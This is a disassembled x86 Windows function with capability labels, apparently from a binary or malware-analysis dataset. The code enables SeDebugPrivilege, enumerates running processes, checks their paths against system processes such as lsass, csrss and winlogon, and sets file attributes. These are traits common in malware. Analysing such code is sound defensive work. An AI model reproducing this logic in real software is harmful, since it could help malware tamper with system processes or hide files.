Function at 0x46d850
Capabilities:
Acquire debug privileges
Enumerate processes
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x484038
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xac4
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x10], esp
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov eax, ecx
mov esi, edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 4], ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x1a8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [ebp - 0x5d0]
push 0x80
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x5d0]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x550]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x18]
mov byte [ebp - 0x54e], bl
push ecx
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x46d945
lea edx, [ebp - 0x24]
mov dword [ebp - 0x28], 1
push edx
push str.SeDebugPrivilege
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov ecx, dword [ebp - 0x18]
push ebx
push ebx
lea eax, [ebp - 0x28]
push 0x10
push eax
push ebx
push ecx
mov dword [ebp - 0x1c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push 2
mov dword [ebp - 0x14], 0xffffffff
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edx, eax
mov dword [ebp - 0x14], edx
mov ecx, 0x49
xor eax, eax
lea edi, [ebp - 0x2cc]
mov dword [ebp - 0x2d0], 0x128
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2d0]
mov byte [ebp - 4], 1
push eax
push edx
call sub.KERNEL32.dll_Process32First
cmp eax, ebx
je 0x46dcf3
cmp dword [ebp - 0x2c8], ebx
jne 0x46d9c2
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x2d0]
push ecx
push edx
call sub.KERNEL32.dll_Process32Next
cmp eax, ebx
je 0x46dcf3
cmp dword [ebp - 0x2c8], ebx
jne 0x46d9c2
lea eax, [ebp - 0x2d0]
lea ecx, [ebp - 0x14]
push eax
call fcn.00404a00
cmp eax, ebx
je 0x46dcf3
mov edx, dword [ebp - 0x2c8]
lea ecx, [ebp - 0x6d0]
push ecx
push edx
mov byte [ebp - 0x6d0], bl
call fcn.004047b0
lea edi, [ebp - 0x6d0]
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 7
jl 0x46dcb4
lea edi, [ebp - 0x6d0]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x4d0]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x128]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x1a8]
push ecx
push str._swinlogon.exe
push edx
call fcn.0047a8f8
lea eax, [ebp - 0x4d0]
lea ecx, [ebp - 0x128]
push eax
push ecx
call fcn.0047fde0
add esp, 0x14
test eax, eax
je 0x46dcb4
lea edx, [ebp - 0x1a8]
lea eax, [ebp - 0x128]
push edx
push str._scsrss.exe
push eax
call fcn.0047a8f8
lea ecx, [ebp - 0x4d0]
lea edx, [ebp - 0x128]
push ecx
push edx
call fcn.0047fde0
add esp, 0x14
test eax, eax
je 0x46dcb4
lea eax, [ebp - 0x1a8]
lea ecx, [ebp - 0x128]
push eax
push str._s_services.exe
push ecx
call fcn.0047a8f8
lea edx, [ebp - 0x4d0]
lea eax, [ebp - 0x128]
push edx
push eax
call fcn.0047fde0
add esp, 0x14
test eax, eax
je 0x46dcb4
lea ecx, [ebp - 0x1a8]
lea edx, [ebp - 0x128]
push ecx
push str._slsass.exe
push edx
call fcn.0047a8f8
lea eax, [ebp - 0x4d0]
lea ecx, [ebp - 0x128]
push eax
push ecx
call fcn.0047fde0
add esp, 0x14
test eax, eax
je 0x46dcb4
lea edx, [ebp - 0x1a8]
lea eax, [ebp - 0x128]
push edx
push str._s_svchost.exe
push eax
call fcn.0047a8f8
lea ecx, [ebp - 0x4d0]
lea edx, [ebp - 0x128]
push ecx
push edx
call fcn.0047fde0
add esp, 0x14
test eax, eax
je 0x46dcb4
lea eax, [ebp - 0x4d0]
push eax
push str.SystemRootSystem32_smss.exe
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x46dcb4
lea ecx, [ebp - 0x5d0]
lea edx, [ebp - 0x128]
push ecx
push str._sexplorer.exe
push edx
call fcn.0047a8f8
lea eax, [ebp - 0x4d0]
lea ecx, [ebp - 0x128]
push eax
push ecx
call fcn.0047fde0
add esp, 0x14
test eax, eax
je 0x46dcb4
lea edx, [ebp - 0x550]
lea eax, [ebp - 0x128]
push edx
push str._sProgram_FilesInternet_ExplorerIEXPLORE.EXE
push eax
call fcn.0047a8f8
lea ecx, [ebp - 0x4d0]
lea edx, [ebp - 0x128]
push ecx
push edx
call fcn.0047fde0
add esp, 0x14
test eax, eax
je 0x46dcb4
lea edi, [ebp - 0x4d0]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp eax, ecx
jge 0x46dbef
mov edx, ecx
sub edx, eax
mov dl, byte [ebp + edx - 0x4d0]
cmp dl, 0x5c
mov byte [ebp + eax - 0x8d0], dl
jne 0x46dbec
cmp eax, 2
jge 0x46dbef
inc eax
jmp 0x46dbcc
sub ecx, eax
xor edx, edx
mov edi, ecx
cmp edx, edi
jge 0x46dc0a
mov cl, byte [ebp + edx - 0x4d0]
mov byte [ebp + edx - 0xad0], cl
inc edx
jmp 0x46dbf5
mov byte [ebp + edi - 0xad0], bl
xor esi, esi
cmp esi, eax
jge 0x46dc39
lea edx, [esi + edi]
mov dl, byte [ebp + edx - 0x4cf]
cmp dl, 0x5c
je 0x46dc2f
mov byte [ebp + esi - 0x8d0], dl
jne 0x46dc36
mov byte [ebp + esi - 0x8d0], bl
inc esi
jmp 0x46dc13
mov esi, dword [ebp + 8]
mov byte [ebp + eax - 0x8d0], bl
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
lea eax, [ebp - 0x8d0]
dec ecx
push eax
push esi
mov byte [ebp + ecx - 0x8d0], bl
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x46dc7e
lea ecx, [ebp - 0x4d0]
push esi
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x46dcb4
lea edi, [ebp - 0x4d0]
or ecx, 0xffffffff
xor eax, eax
push 0x80
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea eax, [ebp - 0x4d0]
mov edx, ecx
mov esi, edi
mov edi, dword [ebp + 0xc]
push eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x2d0]
push ecx
push edx
call sub.KERNEL32.dll_Process32Next
cmp eax, ebx
je 0x46dcf3
cmp dword [ebp - 0x2c8], ebx
jne 0x46d9c2
jmp 0x46d9b3
lea ecx, [ebp + 8]
push ecx
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x46dd47
lea edx, [ebp - 0x24]
mov dword [ebp - 0x28], 1
push edx
push str.SeDebugPrivilege
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov ecx, dword [ebp + 8]
push ebx
push ebx
lea eax, [ebp - 0x28]
push 0x10
push eax
push ebx
push ecx
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
cmp eax, 0xffffffff
je 0x46dd56
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret